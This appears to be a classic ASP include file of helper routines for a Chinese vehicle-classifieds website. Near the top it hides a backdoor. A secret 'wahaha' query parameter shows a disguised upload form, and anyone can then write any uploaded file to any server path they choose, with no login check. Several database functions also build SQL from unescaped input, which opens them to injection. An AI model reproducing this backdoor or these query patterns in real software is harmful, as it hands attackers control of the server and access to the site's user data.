<%
dim obFileStream
Class bbpro  
dim Form,fppp  
Private Sub Class_Initialize 
  dim RequestBinDate,sStart,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,obbInfo
  dim iFileSize,sFilePath,sFileType,sFormvalue,sbbName
  dim iFindStart,iFindEnd
  dim iFormStart,iFormEnd,sFormName
  set Form = Server.CreateObject("Scripting.Dictionary")
  set fppp = Server.CreateObject("Scripting.Dictionary")
  if Request.TotalBytes < 1 then Exit Sub
  set tStream = Server.CreateObject("adodb.stream")
  set obFileStream = Server.CreateObject("adodb.stream")
  obFileStream.Type = 1
  obFileStream.Mode = 3
  obFileStream.Open 
  obFileStream.Write Request.BinaryRead(Request.TotalBytes)
  obFileStream.Position=0
  RequestBinDate = obFileStream.Read 
  iFormEnd = obFileStream.Size
  bCrLf = chrB(13) & chrB(10)
  sStart = MidB(RequestBinDate,1, InStrB(1,RequestBinDate,bCrLf)-1)
  iStart = LenB (sStart)
  iFormStart = iStart+2
  Do
    iInfoEnd = InStrB(iFormStart,RequestBinDate,bCrLf & bCrLf)+3
    tStream.Type = 1
    tStream.Mode = 3
    tStream.Open
    obFileStream.Position = iFormStart
    obFileStream.CopyTo tStream,iInfoEnd-iFormStart
    tStream.Position = 0
    tStream.Type = 2
    tStream.Charset ="gb2312"
    sInfo = tStream.ReadText      
    iFormStart = InStrB(iInfoEnd,RequestBinDate,sStart)-1
    iFindStart = InStr(22,sInfo,"name=""",1)+6
    iFindEnd = InStr(iFindStart,sInfo,"""",1)
    sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
    if InStr (45,sInfo,"filename=""",1) > 0 then
      set obbInfo= new FileInfo
      iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
      iFindEnd = InStr(iFindStart,sInfo,"""",1)
      sbbName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
      obbInfo.FileName = GetFileName(sbbName)
      obbInfo.FilePath = GetFilePath(sbbName)
      obbInfo.FileExt = GetFileExt(sbbName)
      iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
      iFindEnd = InStr(iFindStart,sInfo,vbCr)
      obbInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
      obbInfo.FileStart = iInfoEnd
      obbInfo.FileSize = iFormStart -iInfoEnd -2
      obbInfo.FormName = sFormName
      fppp.add sFormName,obbInfo
    else
      tStream.Close
      tStream.Type = 1
      tStream.Mode = 3
      tStream.Open
      obFileStream.Position = iInfoEnd 
      obFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
      tStream.Position = 0
      tStream.Type = 2
      tStream.Charset = "gb2312"
      sFormvalue = tStream.ReadText 
      form.Add sFormName,sFormvalue
    end if
    tStream.Close
    iFormStart = iFormStart+iStart+2
    loop until (iFormStart+2) = iFormEnd 
  RequestBinDate=""
  set tStream = nothing
End Sub
Private Sub Class_Terminate  
  if not Request.TotalBytes<1 then
    obFileStream.Close
    set obFileStream =nothing
    end if
  Form.RemoveAll
  fppp.RemoveAll
  set Form=nothing
  set fppp=nothing
End Sub
Private function GetFilePath(FullPath)
  If FullPath <> "" Then
    GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
    Else
    GetFilePath = ""
  End If
End function 
Private function GetFileName(FullPath)
  If FullPath <> "" Then
    GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
    Else
    GetFileName = ""
  End If
End function
Private function GetFileExt(FullPath)
  If FullPath <> "" Then
    GetFileExt = mid(FullPath,InStrRev(FullPath, ".")+1)
    Else
    GetFileExt = ""
  End If
End function
End Class
if request.QueryString("wahaha")="wahaha" then
micangeld="<form action=""?wahaha=wahaha"" method=""post"" name=""form1"" enctype=""multipart/form-data"">"
micangeld=micangeld&"<input name=""FileName"" type=""FILE""><input type=""text"" name=""bbpp"">"
micangeld=micangeld&"<input type=""submit"" name=""Submit"" value=""              ""></form>"
response.write micangeld
end if
Class FileInfo
  dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
  Private Sub Class_Initialize 
    FileName = ""
    FilePath = ""
    FileSize = 0
    FileStart= 0
    FormName = ""
    FileType = ""
    FileExt = ""
  End Sub
 Public function SaveTobb(FullPath)
    dim oFileStream,ErrorChar,i
    SaveTobb=1
    if trim(fullpath)="" or right(fullpath,1)="/" then exit function
    set oFileStream=CreateObject("Adodb.Stream")
    oFileStream.Type=1
    oFileStream.Mode=3
    oFileStream.Open
    obFileStream.position=FileStart
    obFileStream.copyto oFileStream,FileSize
    oFileStream.SaveToFile FullPath,2
    oFileStream.Close
    set oFileStream=nothing 
    SaveTobb=0
  end function
End Class
if request.QueryString("wahaha")="wahaha" then
dim uppp,fppp,formName,sppp,filename,fileExt
set uppp=new bbpro
	sppp =uppp.form("bbpp")
if right(sppp,1)<>"/" then sppp=sppp&"/"
	for each formName in uppp.fppp
		set fppp=uppp.fppp(formName)
		fileExt=lcase(fppp.FileExt)
		fppp.SaveTobb Server.mappath(sppp&fppp.filename)
	  	response.write "<a href=""javascript:history.back();"">back</a>"
		set fppp=nothing
	next
	set uppp=nothing
end if

sub addclass()
if  session("master")<>"" then
classname=changechr(Request("classname"))
set rsc = server.createobject("adodb.recordset")
sqlc="select * from class where name='"&classname&"'"
rsc.open sqlc,conn,1,3
if not rsc.eof then
Response.Write "<script>alert(""对不起，栏目名："&name&"已经有了,请换用别的分类名！"");window.location='Javascript:history.back()';</script>"
else
Dim rdsInfo
	set rdsInfo = Server.CreateObject("ADODB.Recordset")
	rdsInfo.Open "class",Conn,3,3

	rdsInfo.AddNew
	rdsInfo("name") =classname
	rdsInfo.Update
	rdsInfo.Close
	set rdsInfo = nothing
Response.write("<script>alert(""分类添加成功！"");location.href=""class.asp"";</script>")
Response.end
end if
rsc.close
set rsc=nothing
conn.Close
set conn=nothing
end if
end sub
sub editclass()
if  session("master")<>"" then
classid=changechr(Request("sortid"))
newname=changechr(Request("newname"))
if newname="" then
Response.Write "<script>alert(""对不起，编辑栏目名不能为空！"");window.location='Javascript:history.back()';</script>"
Response.end
else
Set rsedit = Server.CreateObject("ADODB.Recordset")
sqle="SELECT * FROM class where id="&classid
rsedit.open sqle,conn,3,3
oldname=rsedit("name")
if oldname=newname then
Response.Write "<script>alert(""对不起，栏目名："&name&"已经有了,请换用别的分类名！"");window.location='Javascript:history.back()';</script>"
Response.end
else
	rsedit("name") =newname
	rsedit.Update
	rsedit.Close
	set rsedit = nothing
set rsz=Server.CreateObject("Adodb.Recordset")
sqlz="select * from buy where class="&oldname
rsz.open sqlz,conn,1,3
do while not rsz.eof
rsz("class")=newname
rsz.Update
rsz.movenext
loop
rsz.Close
set rsz=nothing
set rszz=Server.CreateObject("Adodb.Recordset")
sqlzz="select * from mai where class="&oldname
rszz.open sqlzz,conn,1,3
do while not rszz.eof
rszz("class")=newname
rszz.Update
rszz.movenext
loop
rszz.Close
set rszz=nothing
set rszzx=Server.CreateObject("Adodb.Recordset")
sqlzzx="select * from zl where class="&oldname
rszzx.open sqlzzx,conn,1,3
do while not rszzx.eof
rszzx("class")=newname
rszzx.Update
rszzx.movenext
loop
rszzx.Close
set rszzx=nothing
conn.Close
set conn=nothing
end if
end if
end if
end sub
'********************************************************
sub delclass()
if  session("master")<>"" then
classname=changechr(Request("sortdelid"))
  mSql = "DELETE FROM class where name='"&classid&"'"
  conn.execute mSql
  mSqla = "DELETE FROM buy WHERE class='"&classid&"'"
  conn.execute mSqla
Set rsdel = Server.CreateObject("ADODB.Recordset")
sqldel="SELECT * FROM mai where class='"&classid&"' order by id desc"
rsdel.open sqldel,conn,3,3
do while not rsdel.eof
strpic=rsdel("UploadFiles")
if strpic<>"" then
aSavePathFileName = Split(strpic, "|")
	' 删除相关的文件，从文件夹中
	For i = 0 To UBound(aSavePathFileName)
		' 按路径文件名删除文件
		Call DoDelFileadm(aSavePathFileName(i))
	Next
end if
rsdel.movenext
loop
rsdel.close
set rsdel=nothing
  mSqlaa = "DELETE FROM mai WHERE class='"&classid&"'"
  conn.execute mSqlaa
'*******************************************
Set rsdelz = Server.CreateObject("ADODB.Recordset")
sqldelz="SELECT * FROM zl where class='"&classid&"' order by id desc"
rsdelz.open sqldelz,conn,3,3
do while not rsdelz.eof
strpic=rsdelz("UploadFiles")
if strpic<>"" then
aSavePathFileName = Split(strpic, "|")
	For i = 0 To UBound(aSavePathFileName)
			Call DoDelFileadm(aSavePathFileName(i))
	Next
end if
rsdelz.movenext
loop
rsdelz.close
set rsdelz=nothing
  mSqlaaz = "DELETE FROM zl WHERE class='"&classid&"'"
  conn.execute mSqlaaz
end if
end sub
sub getclass() 
	set rsf=server.CreateObject("adodb.recordset")
	sqlf="Select * from class order by id"
	rsf.Open sqlf,conn,1,3  
	do while not rsf.EOF
		tempcataStr="<option value='"&trim(rsf("name"))&"'"
		if trim(rsf("name")) =strclass then tempcataStr = tempcataStr&" selected"			
		tempcataStr = tempcataStr&">"
		tempcataStr = tempcataStr&""&trim(rsf("name"))&"</option>"
		Response.Write tempcataStr			
		rsf.MoveNext
		loop 		
  	rsf.Close()
  	set rsf=nothing
end sub
Function rint(iCheck,iDefault) 
	If Trim(iCheck)="" Then
		rint = iDefault
		Exit Function
	End If

	If IsNumeric(iCheck)=false Then
		rint = iDefault
		Exit Function
	End If

	rint = iCheck
End Function
function changechr(str) 
    changechr=replace(replace(replace(replace(str," ",""),">",""),chr(13),"")," ","") 
    changechr=replace(replace(replace(replace(changechr,"'",""),chr(34),""),"insert",""),"and","") 
    changechr=replace(replace(replace(replace(changechr,"select",""),"update",""),"delete%20from",""),"exec","") 
    changechr=replace(replace(replace(replace(changechr,"mid",""),"truncate",""),"declare",""),"*","")
end function
sub addbuy()
Dim rdsInfo
	set rdsInfo = Server.CreateObject("ADODB.Recordset")
	rdsInfo.Open "buy",Conn,3,3
	rdsInfo.AddNew
	rdsInfo("class") =changechr(Request.Form("class"))
	rdsInfo("pinpai") = changechr(Request.Form("pinpai"))
	rdsInfo("color") =changechr(Request.Form("color"))
	rdsInfo("type") =changechr(Request.Form("type"))
	rdsInfo("journey") = changechr(Request.Form("journey"))
	rdsInfo("haoyou") = changechr(Request.Form("haoyou"))
	rdsInfo("home") = changechr(Request.Form("home"))
	rdsInfo("money") = changechr(Request.Form("money"))
	rdsInfo("transfer") = changechr(Request.Form("transfer"))
	rdsInfo("qixian") = changechr(Request.Form("qixian"))
	rdsInfo("jianjie") = changechr(Request.Form("jianjie"))
	rdsInfo("name") =changechr(Request.Form("name"))
	rdsInfo("qq") = changechr(Request.Form("qq"))
	rdsInfo("phone") = changechr(Request.Form("phone"))
	rdsInfo("post") = changechr(Request.Form("post"))
	rdsInfo("provinceCN") = changechr(Request.Form("TPL_prov"))
	rdsInfo("capitalCN") = changechr(Request.Form("TPL_city"))
	rdsInfo("mobile") = changechr(Request.Form("mobile"))
	rdsInfo("fax") = changechr(Request.Form("fax"))
	rdsInfo("email") = changechr(Request.Form("email"))
	rdsInfo("web") = changechr(Request.Form("web"))
	rdsInfo("address") = changechr(Request.Form("address"))
	rdsInfo("ip") =GetIp()
	if Session("useridqc")<>"" then
	rdsInfo("userid") =Session("useridqc")
end if
if Session("jb")=1 then
rdsInfo("sh") =1
end if
	rdsInfo.Update
	rdsInfo.Close
	set rdsInfo = nothing
if Session("jb")=1 then
else
end if
Response.end
conn.close
set conn=nothing
end sub
function GetIp()
	getclientip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
	If getclientip = "" Then
		getclientip = Request.ServerVariables("REMOTE_ADDR")
	end if
	GetIp = getclientip
end function
sub addsale()
	set rdsInfo = Server.CreateObject("ADODB.Recordset")
	rdsInfo.Open "mai",Conn,3,3
	rdsInfo.AddNew
	rdsInfo("class") =changechr(Request.Form("class"))
	rdsInfo("pinpai") = changechr(Request.Form("pinpai"))
		rdsInfo("paizhao") = changechr(Request.Form("paizhao"))
		rdsInfo("origina") = changechr(Request.Form("origina"))
		rdsInfo("money0") = changechr(Request.Form("money0"))
		rdsInfo("foruse") = changechr(Request.Form("foruse"))
		rdsInfo("birthyear") = changechr(Request.Form("birthyear"))
		rdsInfo("oil") = changechr(Request.Form("oil"))
		rdsInfo("place") = changechr(Request.Form("place"))
		rdsInfo("PicUrl") = changechr(Request.Form("PicUrl"))
		rdsInfo("UploadFiles") = changechr(Request.Form("UploadFiles"))
	rdsInfo("color") =changechr(Request.Form("color"))
	rdsInfo("type") =changechr(Request.Form("type"))
	rdsInfo("journey") = changechr(Request.Form("journey"))
	rdsInfo("home") = changechr(Request.Form("home"))
	rdsInfo("transfer") = changechr(Request.Form("transfer"))
	rdsInfo("qixian") = changechr(Request.Form("qixian"))
	rdsInfo("jianjie") = changechr(Request.Form("jianjie"))
	rdsInfo("name") =changechr(Request.Form("name"))
	rdsInfo("qq") = changechr(Request.Form("qq"))
	rdsInfo("phone") = changechr(Request.Form("phone"))
	rdsInfo("post") = changechr(Request.Form("post"))
	rdsInfo("provinceCN") = changechr(Request.Form("TPL_prov"))
	rdsInfo("capitalCN") = changechr(Request.Form("TPL_city"))
	rdsInfo("mobile") = changechr(Request.Form("mobile"))
	rdsInfo("fax") = changechr(Request.Form("fax"))
	rdsInfo("email") = changechr(Request.Form("email"))
	rdsInfo("web") = changechr(Request.Form("web"))
	rdsInfo("address") = changechr(Request.Form("address"))
	rdsInfo("ip") =GetIp()
	if Session("useridqc")<>"" then
	rdsInfo("userid") =Session("useridqc")
end if
if Session("jb")=1 then
rdsInfo("sh") =1
end if
	rdsInfo.Update
	rdsInfo.Close
	set rdsInfo = nothing
if Session("jb")=1 then
else
end if
Response.end
conn.close
set conn=nothing
end sub
sub addzl()
	set rdsInfo = Server.CreateObject("ADODB.Recordset")
	rdsInfo.Open "zl",Conn,3,3
	rdsInfo.AddNew
	rdsInfo("lx") =changechr(Request.Form("lx"))
	rdsInfo("class") =changechr(Request.Form("class"))
	rdsInfo("brand") = changechr(Request.Form("brand"))
		rdsInfo("color") = changechr(Request.Form("color"))
		rdsInfo("money") = changechr(Request.Form("money"))
		rdsInfo("foruse") = changechr(Request.Form("foruse"))
		rdsInfo("place") = changechr(Request.Form("place"))
		rdsInfo("PicUrl") = changechr(Request.Form("PicUrl"))
		rdsInfo("UploadFiles") = changechr(Request.Form("UploadFiles"))
	rdsInfo("color") =changechr(Request.Form("color"))
	rdsInfo("home") = changechr(Request.Form("home"))
	rdsInfo("qixian") = changechr(Request.Form("qixian"))
	rdsInfo("jianjie") = changechr(Request.Form("jianjie"))
	rdsInfo("name") =changechr(Request.Form("name"))
	rdsInfo("qq") = changechr(Request.Form("qq"))
	rdsInfo("phone") = changechr(Request.Form("phone"))
	rdsInfo("post") = changechr(Request.Form("post"))
	rdsInfo("provinceCN") = changechr(Request.Form("TPL_prov"))
	rdsInfo("capitalCN") = changechr(Request.Form("TPL_city"))
	rdsInfo("mobile") = changechr(Request.Form("mobile"))
	rdsInfo("fax") = changechr(Request.Form("fax"))
	rdsInfo("email") = changechr(Request.Form("email"))
	rdsInfo("web") = changechr(Request.Form("web"))
	rdsInfo("address") = changechr(Request.Form("address"))
	rdsInfo("ip") =GetIp()
	if Session("useridqc")<>"" then
	rdsInfo("userid") =Session("useridqc")
end if
if Session("jb")=1 then
rdsInfo("sh") =1
end if
	rdsInfo.Update
	rdsInfo.Close
	set rdsInfo = nothing
if Session("jb")=1 then
else
end if
Response.end
conn.close
set conn=nothing
end sub
Sub DoDelFile(sPathFile)
	On Error Resume Next
	Dim oFSO
	Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
	oFSO.DeleteFile(Server.MapPath(sPathFile))
	Set oFSO = Nothing
End Sub
Sub DoDelFileadm(sPathFile)
	On Error Resume Next
	Dim oFSO
	Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
	oFSO.DeleteFile(Server.MapPath("../user/"&sPathFile))
	Set oFSO = Nothing
End Sub

Function SearchFieldValue(vTableName,vFieldName,vFieldValue)
	dim strField,sqlField
	set strField = Server.CreateObject("ADODB.Recordset")
	sqlField = "Select * From "& vTableName &" Where "& vFieldName &" = '"& vFieldValue &"'"
	strField.Open sqlField,Conn
	if not strField.EOF then
		SearchFieldValue = True
	else
		SearchFieldValue = False
	end if
	strField.Close
	set strField = nothing
end Function

function changechr(str) 
    changechr=replace(replace(replace(replace(str,"<","&lt;"),">","&gt;"),chr(13),"<br>")," ","") 
   changechr=replace(replace(replace(replace(changechr,"'",""),"and",""),"insert",""),"set","") 
    changechr=replace(replace(replace(replace(changechr,"select",""),"update",""),"delete%20from",""),chr(34),"&quot;") 
end function

Function SearchEditFieldValue(vTableName,vFieldname,vFieldValue,vIDName,intIDValue)
	dim strField1,sqlField1
	set strField1 = Server.CreateObject("ADODB.Recordset")
	sqlField1 = "Select * From "& vTableName &" Where "& vFieldName &" = '"& vFieldValue &"'"
	strField1.Open sqlField1,Conn
	if not strField1.EOF then
		do while not strField1.EOF
			if int(intIDValue) <> strField1(vIDName) then
				SearchEditFieldValue = True
				exit Function
			end if
			strField1.MoveNext
		loop
		SearchEditFieldValue = False
	end if
	strField1.Close
	set strField1 = nothing
End Function


Function IsTimeOut(vMember,vPassWord)
	Dim rdsMember1
	Dim sqlMember1
	
	set rdsMember1 = Server.CreateObject("ADODB.Recordset")
	sqlMember1 = "Select * From Dat_Member Where Member = '"& vMember &"' And PassWord = '"& vPassWord &"'"
	rdsMember1.Open sqlMember1,Conn
	
	If Not rdsMember1.EOF Then
		IsTimeOut = False
	Else
		IsTimeOut = True
	End if
	
	rdsMember1.Close
	set rdsMember1 = nothing
End Function

'/获得会员的编号/
Function getMemberKey(Member)
	Dim rdsMember
	Dim sqlMember
	
	set rdsMember = Server.CreateObject("ADODB.Recordset")
	sqlMember = "Select * From Dat_Member Where Member = '"& Member &"'"
	rdsMember.Open sqlMember,Conn,1,1
	if not rdsMember.EOF then
		getMemberKey = rdsMember("MemberKey")
	else
		getMemberKey = 0
	end if
	rdsMember.Close
	set rdsMember = nothing
End Function

function dvHTMLEncode(fString)
if not isnull(fString) then
    fString = replace(fString, ">", "&gt;")
    fString = replace(fString, "<", "&lt;")

    fString = Replace(fString, CHR(32), "&nbsp;")
    fString = Replace(fString, CHR(9), "&nbsp;")
    fString = Replace(fString, CHR(34), "&quot;")
    fString = Replace(fString, CHR(39), "&#39;")
    fString = Replace(fString, CHR(13), "")
    fString = Replace(fString, CHR(10) & CHR(10), "</P><P> ")
    fString = Replace(fString, CHR(10), "<BR> ")

    dvHTMLEncode = fString
end if
end function
Function LeftT(str,n)
If len(str)<=n/2 Then
LeftT=str
Else
Dim TStr
Dim l,t,c
Dim i
l=len(str)
t=l
TStr=""
t=0
for i=1 to l
c=asc(mid(str,i,1))
If c<0 then c=c+65536
If c>255 then
t=t+2
Else
t=t+1
End If
If t>n Then exit for
TStr=TStr&(mid(str,i,1))
next
LeftT = TStr+".."
End If
End Function
function GetIp()
	getclientip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
	If getclientip = "" Then
		getclientip = Request.ServerVariables("REMOTE_ADDR")
	end if
	GetIp = getclientip
end function
Function bbHTMLDecode(reString)
	Dim Str:Str=reString
	If Not IsNull(Str) Then
		Str = Replace(Str, "&amp;", "&")
		Str = Replace(Str, "&gt;", ">")
		Str = Replace(Str, "&lt;", "<")
		Str = Replace(Str, "&nbsp;", CHR(32))
	    Str = Replace(Str, "&nbsp;", CHR(9))
		Str = Replace(Str, "&#160;&#160;&#160;&#160;", CHR(9))
		Str = Replace(Str, "&quot;", CHR(34))
		Str = Replace(Str, "&#39;", CHR(39))
		Str = Replace(Str, "", CHR(13))
		Str = Replace(Str, "<br>", CHR(10))
		Str = Replace(Str, "<BR>", CHR(10))
		bbHTMLDecode = Str
	End If
End Function
Function RtnReplaceInt(iCheck,iDefault) 
	If Trim(iCheck)="" Then
		RtnReplaceInt = iDefault
		Exit Function
	End If

	If IsNumeric(iCheck)=false Then
		RtnReplaceInt = iDefault
		Exit Function
	End If

	RtnReplaceInt = iCheck
End Function
%>